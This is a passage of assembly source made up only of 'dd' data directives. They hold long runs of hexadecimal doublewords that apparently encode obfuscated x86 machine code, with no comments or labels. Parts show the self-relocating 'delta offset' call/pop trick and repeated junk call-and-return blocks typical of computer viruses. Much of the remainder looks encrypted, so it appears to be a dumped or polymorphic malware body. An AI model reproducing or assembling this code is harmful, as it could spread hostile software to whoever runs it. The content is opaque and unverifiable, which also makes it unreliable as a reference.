4244481h, 14h, 91C35545h, 9D8B026Ah dd 62B3029h, 11E950h, 15740000h, 213421C6h, 0D7A225DAh dd 2D68C943h, 8965C12Bh, 6A2404h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0D91DF4C3h, 67455DD9h dd 0E195FF09h, 6A062B05h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0E994C350h, 0C8Bh dd 0E8h, 0ED815D00h, 6304BA9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 5CC35343h, 0F2EC1B2h, 9D8BFBB7h dd 62B0A3Dh, 993A858Dh, 0DE9062Eh, 8B000000h, 8A4BC507h dd 55D77416h, 8A9BA460h, 13E890h, 8150000h, 0BA764FC2h dd 0CD444F80h, 91B50B4Dh, 4C1612BDh, 0AE867h, 0DBD60000h dd 57ADA74h, 8CDD9FB6h, 7F0F0BBBh, 505B5F0Dh, 4CFB85BBh dd 6A9001h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 758AC8C3h, 0F983311h, 0FF64DBB7h, 35h, 0D3816600h dd 896459CBh, 25h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0ED0F271Ah, 9D5BB442h dd 0D85FFF9h, 6A062B1Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 8992C356h, 2B0EA985h dd 0FFFF6A06h, 2B0D45B5h, 3820F06h, 80000000h, 95FFEFCFh dd 62B11A9h, 105E9h, 1EB8000h, 0BF6600B0h, 70E6A94Dh, 5BD0960h dd 9062B0Ah, 2B2E499Dh, 71E46106h, 13E95660h, 41000000h dd 0D339A5B1h, 0A3C76CE2h, 0E93BDCE2h, 0F9EA2305h, 8B5B861Ch dd 613C61F8h, 0C4830Fh, 0B60F0000h, 18F0FC8h, 0F8000000h dd 6BAh, 0E99D8900h, 8B062B0Bh, 0B8B0FC1h, 60000000h, 18819589h dd 8B66062Bh, 858961C2h, 62B0A69h, 5704E8C1h, 1E659589h dd 665F062Bh, 0DE8BE2F7h, 8166C82Bh, 8BFAC1F7h, 699501D1h dd 0FC062B26h, 71E9h, 0FA8B6600h, 554C858Bh, 8B664947h dd 7C083DFh, 2F1BD8Bh, 0C083062Bh, 0DF816600h, 0D03BFF39h dd 18830Fh, 9D890000h, 62B07E9h, 41E9h, 0A2B96000h, 8B5EA1ABh dd 2B0D7995h, 8D8B6106h, 0FFFFFFFFh, 2D89BD8Bh, 0E183062Bh dd 1F840F01h, 9000000h, 2B2A459Dh, 0FFA58306h, 0FEFFFFFFh dd 4C9589FCh, 31494755h, 2B0D3D8Dh, 0E906h, 0B58D0000h dd 62FC05Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 98C35242h, 0AC0999B4h, 739CB39Fh, 0D8C78112h, 0F957E1E4h dd 0D780006Ah, 4595FF43h, 80062B29h, 65B969E3h, 0F00000Fh dd 482h, 0EDBB6600h, 0FCE1833Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 6CC35343h, 1B0731B2h, 39BD0B99h dd 0FC062B20h dd 509B589h, 0B8062Bh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0FBF4C356h dd 0C3BB61DFh, 2B6AA3B5h, 4DF780D2h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0C3C35040h, 9529D6ADh, 62B1605h, 0ECBFD381h, 6A5200h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 7DD1DAC3h, 66D074B9h, 0DAA30BFh, 88h, 6ED9D8Bh, 958B062Bh dd 62B0EE1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 48C35242h, 8BA78D09h, 0D8BF0FDFh, 21E18D8Bh, 0CE9062Bh dd 21000000h, 3DDBA52Bh, 0DDAF2CD2h, 509A4A1Ch, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 0DCAEBB58h, 0BD2B14A6h dd 62B1581h, 5A9BD83h, 0F00062Bh, 6B84h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 8C545263h, 0FE72844h, 68Fh, 0A5858900h, 0B8062B1Eh dd 0 dd 0B5015B50h, 62B1D01h, 4EA18D8Dh, 0BF66062Bh, 0E1FF7C42h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0AFC35747h dd 9A4A1CDDh, 0CB3C18D9h, 2BE5BD83h, 0F00062Bh, 3E984h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 81C690C5h, 35A6CCDBh, 0E5BD8330h, 1062B2Bh dd 3D3840Fh, 83F80000h, 2B2BE5BDh, 860F0306h, 38Fh, 9CC026BFh dd 0D85EBF5Eh, 89606338h, 2B0D1D8Dh, 0D98C6606h, 0E180FE8Bh dd 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 91279CA7h, 0DCBFF89Fh, 0A32214Ah, 2F840FC9h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 63A5C353h, 2ACD8589h, 858B062Bh dd 62B1EB5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0F6C35747h, 64C426A0h, 8D8533B4h, 0E8062B25h, 14h dd 0DE9676C3h, 0BD443FAAh, 0FA0F3EE7h, 494DCBD7h, 55203DB1h dd 2D79BD23h, 905B062Bh, 5F8AB357h, 6A9050h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 83E061C3h dd 8E9F8h, 0B7670000h, 640B963Dh, 8D89548Dh, 62B301Dh dd 0DF81006Ah, 76DA649Bh, 79174F68h, 2830F79h, 51000000h dd 2434815Bh, 796614B0h, 0FFDF8B66h, 2B091D95h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0DE8B6674h, 6830Fh, 0E3810000h, 5DAED97h, 0B5B08589h dd 6A062Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0AAE19BC3h, 0E4415BC8h, 1AE3C4Dh, 2B0091BDh dd 196E906h, 858B0000h, 62EB5A8h, 13E8h, 4EE36C00h, 39C81815h dd 0D6AB66D8h, 0DA736421h, 4F3FDBAFh, 21EB8166h, 0C75B6Bh dd 18h, 0D1816660h, 8B618A84h, 2EB5ACB5h, 51BB6606h, 0C5858B47h dd 6A062B16h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0EA5EC352h, 62DB9416h, 11E8D5h dd 9C070000h, 5FB0A87h, 58555F6Dh, 0CD2A3DA3h, 5F29CB63h dd 9D890689h, 62B3395h, 1EB5858Bh, 6A062Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 2CA5E2C3h dd 468971A8h, 0B9958904h, 96062B28h, 8B535250h, 310F5FDAh dd 221AC6BFh, 50585A4Eh, 0E996DE8Bh, 0Ch, 52250A71h, 3788A776h dd 0A769BF87h, 0B5A8B5FFh, 9D8B062Eh, 62B17FDh, 0BE9BF68h dd 810F5654h, 6, 830Fh, 815B0000h, 0EA402434h, 0EE85414h dd 9A000000h, 29B83E26h, 41457F82h, 0CA2C5F2Eh, 0FFBF0FD8h dd 0B0858D5Bh, 6A062EB5h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 67EFC356h, 0A05AC353h dd 0A2BBDEDAh, 0E86F3240h, 11h, 0C59408B7h, 0A726D5FAh dd 987F178h, 0DDC4E572h, 0F58589D3h, 5F062B07h, 14E850h dd 82E80000h, 4AE2F908h, 0A5D1D2E0h, 5B8A8E19h, 0A7B1F39Bh dd 0BE9B35Dh, 74000000h, 0A49F8757h, 0AB8536F8h, 895BFBEFh dd 0FFFC2404h, 2B091D95h, 0DBB70F06h, 55E38161h, 0C744429Dh dd 2B2BE585h, 306h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 762138B8h, 38B87774h dd 0F8BF7621h, 8329A374h, 2EB5B0BDh, 840F0006h, 3Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 63C35141h, 0F6ED3B20h dd 9589745Eh, 62B1B35h, 2B98531h, 23E9062Bh, 51000000h dd 458D895Fh, 50062B30h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 145E16C3h, 0B8473971h dd 0D88AF268h, 1CB5BD8Bh, 0BD83062Bh, 62B2BE5h, 0C3850F03h dd 0F000003h, 58Bh, 0CF816600h, 0BD83F64Ch, 62EB5B0h, 0AB840F00h dd 6A000003h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0B36EC352h, 0B0B5FF92h, 8B062EB5h dd 2B2BFD9Dh, 0ADBD2306h, 0FF062B32h, 2B017595h, 4CEB8106h dd 0E91D338Fh, 0Ah, 0E2A520EDh, 1044347Eh, 0B58BC1DCh dd 62EB5A4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0CFC35242h, 0F22AD77h, 689h, 79BD8B00h, 0C7062B00h dd 1000106h, 7E900h, 8DB80000h, 0B8D52C60h, 0ED950986h dd 50062B26h, 6A243489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0BF4C356h, 0F7221AD2h dd 68E0F60h, 81000000h, 0C00A1F3h, 9523607Dh, 62B052Dh dd 28C18D89h, 6161062Bh, 0B5FF60B7h, 62EB5B0h, 7812BF66h dd 155595FFh, 6A062Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0B509E1C3h, 62B0EDDh, 0B5A4B58Bh dd 0BD8B062Eh, 62B0D15h, 1AD9858Bh, 6A062Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B1622C3h dd 2B2591BDh, 0C4868906h, 31000000h, 2B0A75BDh, 0E1958B06h dd 0F5062B0Eh, 104C283h, 2B21EDB5h, 20508906h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 2DC35646h, 3A9F5D9Bh dd 717948B1h, 19DDB501h, 858D062Bh, 62ECA4Eh, 0EE8h, 0C999100h dd 20B383C9h, 0ADD1EA2Bh, 8BD7A44Ch, 2B2BB59Dh, 86895F06h dd 0B8h, 2B7EB81h, 6A7F38h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 0C9C35141h, 0FF9C8324h, 2EB5B0B5h, 41BD8906h dd 80062B2Dh, 95FFEED7h, 62B05E1h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 6AC35545h, 5298BF1Eh, 50967C4Eh dd 0F44B352h, 0F5B86031h, 505A7BA2h, 5A310F52h, 585A6158h dd 4CBF6650h, 0FFF59658h, 2EB5B0B5h, 913DBF06h, 95FF1CDBh dd 62B1569h, 14E9h, 0BE6B5D00h, 0F5F210FAh, 885E625Ah dd 12084594h, 9E9F21B3h, 9DBD835Ah, 62B1Dh, 18840Fh, 7E90000h dd 0F7000000h, 3254D8E7h, 8B50D73Bh, 243489FEh, 2A218D09h dd 0B5FF062Bh, 62EB5B0h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 8CC35242h, 0C4DCA5D2h, 0B5894E2Ah, 62B2ADDh dd 2E1195FFh, 6A062Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 912AC9C3h, 0EA6BC9C4h, 3840491h dd 2B08419Dh, 0B0B5FF06h, 6A062EB5h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 42EAC356h dd 469CB89Bh, 6020C96Bh, 17FD8D89h, 958B062Bh, 62B1BE9h dd 4DBD8B61h, 0FF062B12h, 2B240D95h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 8D9EA03h, 0BF0F43F6h dd 29BD83DAh, 2062B2Eh, 30840Fh dd 9D8B0000h, 62B085Dh, 2B39858Bh, 6A062Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0FC1642C3h dd 0C663h, 85C740B7h, 62B0925h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 84C35545h dd 3D44BFCCh, 0F71CFD5h, 0C6E9D9B7h, 6AFFFFF4h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 89EDC357h, 2B0BF18Dh, 6AC18B06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 269EC351h dd 4E1FA8FAh, 6657E119h, 8D5BFB8Bh, 3059538Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0E8DF8B34h, 8, 0B1DA15E0h, 313174E8h, 0C5C1BB66h, 0E18D8958h dd 6A062B0Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 1477C350h, 0E185C778h, 84062B21h dd 6A00005Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 54A5C356h, 33D05BC9h, 2B015995h dd 0E585C706h, 62B2Bh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 6CBCC350h dd 5CD0AAD9h, 0FF1D4DD7h, 2B0DFDB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 91A4665Bh dd 0E386BFFEh, 9D8B7768h, 62B0011h, 1E759D8Bh, 95FF062Bh dd 62B2731h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0A1C35242h, 0B9150920h, 0B58B461Ch, 62B2AB1h, 95FF006Ah dd 62B2945h, 28EBC08Bh, 0B615E489h, 0F926AF6Fh, 0E7F8ABE0h dd 0D9F8DDF3h, 0BD9F56AEh, 0C2D31900h, 6C6E34F8h, 0E72E9913h dd 79EC8A99h, 0DD3B30CDh, 5A3F8D8Dh, 6A0630h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0D065F1C3h dd 0BCCFEA01h, 9D893483h, 62B2641h, 0EE18D89h, 6A062Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 794730C3h, 0F7E8FA66h, 0FC83B9Dh, 68Dh, 2DBD8B00h, 0C7062B2Ah dd 2B21E185h, 617006h, 0E1B50100h, 0C7062B16h, 2B2BE585h dd 6, 8D5ABE00h, 0B5FF729Ch, 62B0525h, 95FFC58Ah, 62B2731h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F8C35242h dd 2870Fh, 0FA8B0000h, 95FF006Ah, 62B2945h, 4FEBC08Bh dd 0A9071F37h, 293350F0h, 0FBB30C7Bh, 0E9B35A4Ch, 8727622Dh dd 5DF8D12Fh, 4EE912AEh, 0DE6E3643h, 5E3ED472h, 0F1BD568Ch dd 121BAA52h, 0D5CE02F4h, 8D3374D2h, 4B4B64B9h, 8831CDE0h dd 0AA2F1A91h, 3EB682D6h, 16BEEFC8h, 0F60BB800h, 8D9C43FCh dd 305BB28Dh, 0DE906h, 2F840000h, 75BBC9F4h, 3BCDF2D8h dd 891C3098h, 2B0EE18Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 120319D0h, 9523EF2Ch dd 62B2C91h, 0A7DE8151h, 5B6915CFh, 21E185C7h, 6F4C062Bh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0F054A6C3h, 0A69ED355h, 85093BA8h, 62B0079h dd 2BE585C7h, 62Bh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 36B090C3h, 31B237CDh dd 2B06B18Dh, 15B5FF06h, 0E9062B1Dh, 0Eh, 0BA73C413h, 73B021Bh dd 3F83F5B5h, 0B866E367h, 95FF8CD9h, 62B2731h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 9BC35747h, 0BE0F2242h dd 830F3336h, 1Bh, 14E960h, 49CA0000h, 0EFADB250h, 6103D6CDh dd 2F4FF1B0h, 0FCA19CC9h, 6A61B574h, 4595FF00h, 8B062B29h dd 0AE0FEBC0h, 8AF5A263h, 78C52210h, 2DE850BFh, 0DE897ABh dd 32000000h, 254204A7h, 8BAF8A9Ah, 33E7B81Ch, 2979BD03h dd 8A5B062Bh, 32C381CCh, 2B00005Fh, 2B264185h, 17A6BE06h dd 810F0000h, 6, 2A299D89h, 33FF062Bh, 1E258501h, 665A062Bh dd 81E4D6BFh, 0C95D3CC2h, 0E1815672h, 17E70760h, 0EBEA8158h dd 8916AF86h, 2B1C0195h, 0EDEA8106h, 8945BEF7h, 2B1C4D95h dd 8B138906h, 2B009D8Dh, 2EB8306h, 0BE953h, 0C6070000h dd 6A77C683h, 0D1091416h, 4B4B5832h, 68C0Fh, 9D010000h dd 62B1135h, 9B850F4Eh, 8BFFFFFFh, 2B25B5BDh, 0B060D706h dd 0BC0FECEh, 0D7602DB8h, 964F953h, 6BEB7B33h, 86479989h dd 0B068BFF9h, 0BC06ECAh, 8EE2C233h, 26FD528Eh, 149FED35h dd 0CD60A563h, 0DEF788Bh, 8C6E3433h, 80EDF528h, 20541AAEh dd 56384835h, 8456586Bh, 0DEDC625h, 5EBBE147h, 0DEF788Bh dd 8C6E3433h, 80EDF528h, 20570BAEh, 56384835h, 5EEBB16Bh dd 0DEBEEDBh, 0CEB0D633h, 29B7F268h, 29AF3C37h, 0DEBC237h dd 0CEB82C33h, 0C39FC8D8h, 0B8575224h, 0DE005AFh, 0B5E9F633h dd 0E1A13DAEh, 3823090Ah, 0B47E575Dh, 56ED442Ah, 1C5222BAh dd 0CD60DD18h, 8C336155h, 0B382CE4h, 2EFD35Ah, 0DEFE7B7h dd 48B46433h, 0B068118Eh, 0BC0A81Ah, 5D6FD433h, 2EBED33h dd 0DEBFBB9h, 0DE39233h, 0E695BD33h, 0B70C2744h, 3D021B54h dd 67EBB737h, 0E038D33h, 2DEBED33h, 84B5356Dh, 8CEF5F47h dd 11EF9977h, 4BEBDE33h, 0C8A0AC65h, 0F6791444h, 0E56771FEh dd 0DEBED3Dh, 0A13536E1h, 0CF666939h, 0BE648B51h, 0B3B0953Fh dd 0FEB4833h, 0E5BBB759h, 0DEBDB30h, 5528B513h, 9CFB2BAh dd 9CF3FB2h, 0DEBBD29h, 0B6288E73h, 6A47DEE5h, 6B8B2235h dd 808A21B8h, 2376D7B6h, 5CEB9C35h, 0DEB78DBh, 0CEB29D33h dd 29A7576Ah, 29AFEE37h, 0DEBA137h, 0CEBA9A33h, 200EDECh dd 0DEBE1BCh, 0DE69333h, 741BBD33h, 50F740BAh, 3B965399h dd 6BF530C3h, 5688D68Ch, 0F607DD88h, 673B093Eh, 0E032833h dd 2DEBBD33h, 84B01D68h, 8CEF4B6Fh, 14EF9377h, 4EEBDB33h dd 77222E60h, 2A2A2B21h, 0DEDFD3Ch, 9062BD33h, 0BC0C496h dd 89E4AFB6h, 0DEBB7FBh, 0DEBDEDBh, 0CF066233h, 248B9CB1h dd 26DB4AB6h, 27223D35h, 88DA8152h, 0BC05BD6h, 6BBC8FB2h dd 88E420B2h, 0DEBED07h, 0E5BAF659h, 0DEB7B30h, 5428E413h dd 9CF92BAh, 9CF2BB2h, 0DEBB72Ah, 0DA288A72h, 0D000A169h dd 0C26A9053h, 8C8DDBBBh, 0FE9B94Bh, 0EC75A3Ch, 0D7606F33h dd 91D33655h, 6C6ED453h, 86EBED33h, 26CD27BEh, 0F93FB35h dd 5C6EB2DBh, 0BCEBDE33h, 756A09D6h, 240B735h, 0DEB98B6h dd 58EB8733h, 0DEBF5DBh, 0CEB65B33h, 2987346Eh, 29AF5F37h dd 0DEB7837h, 0CEBEF233h, 59A0546Dh, 0D6023EB8h, 6DEBF631h dd 174EE6BAh, 1D02BB18h, 21EBDE33h, 582FF265h, 922BAE0Ch dd 0EBDA5854h, 6C969CA3h, 0CEAF68Dh, 58EB1175h, 0DEBBEDBh dd 0CEB6FE33h, 2987E66Eh, 29AF3637h, 0DEBC137h, 0CEBEA833h dd 5B749F74h, 8051AF6Dh, 237687B6h, 0C554D135h, 0F2F889B3h dd 512836E3h, 8CE34117h, 0A46E9EDAh, 22B7376h, 0DE945B7h dd 0DED5433h, 0A85ADE33h, 6109BC0Ah, 356A5280h, 0FE9E655h dd 0DD4683Ch, 0D81F633h, 0DE89365h, 53CBBD33h, 796280F0h dd 496A6B17h, 0DFCB317h, 5BADDB33h, 3184A0F0h, 0DF54F9C3h dd 6BED03B2h, 291E20Eh, 0DE9F3B7h, 7B540933h, 0DEC5E6Dh dd 0CC58DB33h, 142D506Eh, 356A90DAh, 88E41BAFh, 0DEBBD7Ah dd 3942633Ah, 8C8D6918h, 8D565BD9h, 203D94Bh, 0DEBD9B6h dd 38767F33h dd 6BED5001h, 0DEDC5B2h, 2F6ED1F3h, 0E5EB6F33h, 0DEBB720h dd 0E6F625CCh, 0BCAF6E3Fh, 41CDAEE1h, 4966AFA4h, 8D9F6EB8h dd 0E4B2FDD2h, 0DEB6EF9h, 0CEB09CAh, 0EC6BA532h, 376E60B9h dd 67EDD8AEh, 0E032D33h, 2DEBBD33h, 84B51D6Dh, 8CEF4B47h dd 18EF9377h, 4BEBDB33h, 0E93C2E65h, 0CD227755h, 0B456F08Dh dd 0F2ED9615h, 0B6ED1E3h, 84EB6F33h, 26FEA28Eh, 22B5E35h dd 0DEAABB7h, 58EB9C33h, 0DEB78DBh, 0CEB69D33h, 2987576Eh dd 29AFEE37h, 0DEBA237h, 0CEBE9E33h, 8D1EAD7Fh, 88E41E0Bh dd 0DEB7B4Ah, 8D3D3655h, 298DB4Bh, 0DEB03B6h, 5BEBDD33h dd 0DEBD8DBh, 0CEB5CD33h, 299F7F6Dh, 29AFFA37h, 0DEBA937h dd 0CEBD9833h, 80C29337h, 0BC0A686h, 0DEBD4DAh, 6F2E2133h dd 2E46083Ch, 80AAB9E1h, 3DF390DCh, 5EECA6B3h, 0CE3EB3Ch dd 0D81B733h, 0DE83360h, 56CBED33h, 5162ADF0h, 496A7F17h dd 0DFCB917h, 5EA8DE33h, 0C0AE2CF0h, 0A7580EF7h, 0B0D8C176h dd 0BC0EB1Eh, 356A90C6h, 88E47EBCh, 0DEBBDA8h, 0E5BBDE59h dd 0DEB6F30h, 5528EF13h, 9CF9FBAh, 9CFA9B2h, 0DEBF627h dd 5C282B73h, 0DED353Ch, 98E2DE33h, 0BC06D0Eh, 65EDCFB3h dd 0D825E3Ch, 0D81ED33h, 0DE81E64h, 52CB7B33h, 7162E2F0h dd 496ADA17h, 0DF76B17h, 5AACB733h, 63D53FF0h, 5F4C1D25h dd 90628743h, 0BC0625Eh, 6933C55h, 88E4FBCCh, 0DEB6F00h dd 0E5B8B759h, 0DEBDB30h, 5628B613h, 9CFAABAh, 9CF3FB2h dd 0DEBBD2Eh, 18288D70h, 0DBA04E94h, 0C4BA0732h, 0F760BDADh dd 0DEBD0DAh, 187EFF33h, 0B5ED5017h, 0DEBBD33h, 2B1E4BB8h dd 3F026918h, 67EBB733h, 0E038D33h, 2DEBED33h, 84B5356Dh dd 8CEF5F47h, 14EF9977h, 4BEBDE33h, 4CC2AC65h, 0AC841F99h dd 2ACE56BAh, 0C53EB18h, 84EBF633h, 26F66686h, 1E022D35h dd 3FEBDE33h, 33FEF34Eh, 0D700D49Eh, 0C9E1ED84h, 3D43C8FBh dd 6DBB16BFh, 0DEB68DAh, 66A76733h, 0C66140BCh, 0CB88DD65h dd 5AF430E4h, 0B7641CBBh, 0D817D52h, 0DE81E63h, 55CB7B33h dd 4962E5F0h, 496ADA17h, 0DF06B17h, 5DABB733h, 3EBA01F0h dd 3D8B4C6Bh, 64567B87h, 80ED4B6Fh, 3D898CBEh, 58C86635h dd 88E81855h, 0BC0824Ah, 0E42A1418h, 0CEB0931h, 0EC6BA532h dd 376E60B9h, 67EDD8AEh, 0E032D33h, 2DEBBD33h, 5E9836Dh dd 0F58A4F3h, 289h, 6A595300h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 5D30C351h, 9C053D6h dd 68A0F57h, 9000000h, 2B163585h, 0C00B5906h, 4A840Fh dd 0B58D0000h, 62B4EA1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 71C35343h, 9E974h, 1DBE0000h, 7632512Bh dd 0B827EF47h, 3, 3049958Bh, 0E6FF062Bh, 61958B53h, 59062B26h dd 5FCE8A56h, 50006A40h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0CE9FD53h, 0F6000000h, 0A87A3F60h dd 170C9F9Fh, 8BD0F647h, 2B185D95h, 6AC08B06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0C015C351h, 8B7EF2BBh, 2B21218Dh, 0F9BD8306h, 62B01h dd 0BD830975h, 62B1689h, 50197400h, 0B8C08B53h, 403h, 34798589h dd 9D8D062Bh, 62DBFDCh, 585BD3FFh, 1689BD83h, 7400062Bh dd 0B8535017h, 403h, 34798589h, 9D8D062Bh, 62DBC7Dh, 585BD3FFh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 95C35545h dd 8BCD3BC0h, 2B24E58Dh, 2850F06h, 8B000000h, 6AC08BD0h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0FF4DC355h, 1A867437h, 0B4E3F2FEh, 6E861h dd 106F0000h, 6EB63291h, 0B5B5895Bh, 81062B0Eh, 73C3C3h dd 0B800h, 0BF660000h, 34FF6AA2h, 5EF95218h, 0F38B665Ah dd 0DD24EA81h, 95897569h, 62B26C9h, 0AD88F281h, 0DF815729h dd 3FC2BB20h, 0BB6AEA81h, 0B533272Dh, 62B2085h, 89031489h dd 2B1825BDh, 0F7816606h, 0E8832DC7h, 0EE904h, 6C310000h dd 57D411FCh, 48EC4B67h, 3E2379AAh, 8CF4F881h, 850FFFFFh dd 22h, 8880Fh, 89520000h, 2B2C319Dh, 2EE95F06h, 0B6000000h dd 72CB3606h, 0CDB45C3Fh, 4CEEF6BDh, 0BD8988DFh, 62B1FB5h dd 0FFFF75E9h, 0CEA08EFFh, 0B4F00D8Bh, 5BEBA2B1h, 0CFD8485Ah dd 1162BFBAh, 12E802h, 80AD0000h, 1F0462F8h, 546C29CAh dd 25B537F6h, 0B70EC33h, 2BCDB589h, 8158062Bh, 0F76275D9h dd 0FCC08145h, 2B000067h, 2B207D8Dh, 89F62B06h, 2B1C71B5h dd 634FF06h, 1721BD29h, 0E95F062Bh, 13h, 92BD1157h, 0FE972645h dd 9EDCD765h, 7AF27F79h, 8197FFEDh, 82F33CC7h, 0F781FC1Ah dd 32888E5h, 0A0B96657h, 0F7815A8Fh, 1880E62Eh, 6800Fh dd 9D890000h, 62B2591h, 8B303C89h, 2B11C995h, 1D8D8B06h dd 83062B17h, 15201EEh, 2B1E3195h, 4E4E5B06h, 4E9DB94Eh dd 0FE81302Dh, 0FFFF98BCh, 0FF8B850Fh, 0BE8FFFFh, 9B000000h dd 52C0B6FCh, 0B14A3D03h, 0B70F4B78h, 8D8D59D8h, 6306648h dd 0D49B589h, 8D89062Bh, 62B0EE1h, 81D38166h, 0E185C7B7h dd 44062B21h, 6A00005Ch, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 19C0C357h, 2BE585C7h dd 62Bh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0F8186C3h, 381h, 0D98B6600h, 1219B5FFh dd 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 155B2CC3h, 38F0Fh, 0BF0F0000h, 3195FFD1h dd 6A062B27h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 2C38C350h, 179745CDh, 0DCC0E028h dd 13E8h, 9968E500h, 5DE451A5h, 7C37F762h, 8314DC3h, 493664DEh dd 6800Fh, 85290000h, 62B1F05h, 0FF006A5Fh, 2B294595h dd 0EBC08B06h, 26C9496Eh, 0A01AC8E3h, 231C79Ah, 934B8C69h dd 4526539Ch, 0BDEEE972h, 3B22F619h, 72341CE7h, 20688662h dd 7811B8D6h, 0F645622Bh, 0E7F49D46h, 4503DA8Fh, 21B7AB8Dh dd 0EA9BC47Bh, 3B4782A1h, 2C36C1EAh, 0D35D07D3h, 80119046h dd 0BD577A7Ch, 0CE3AFA08h, 0A71673Dh, 0A7765225h, 0BF873788h dd 1105A769h, 0A7D144A3h, 9A2AD8BDh, 0DEF69A39h, 0D4D4712Ah dd 1DC4B46h, 0D4C8557Fh, 6398525Ch, 0A9A90B33h, 0F1982633h dd 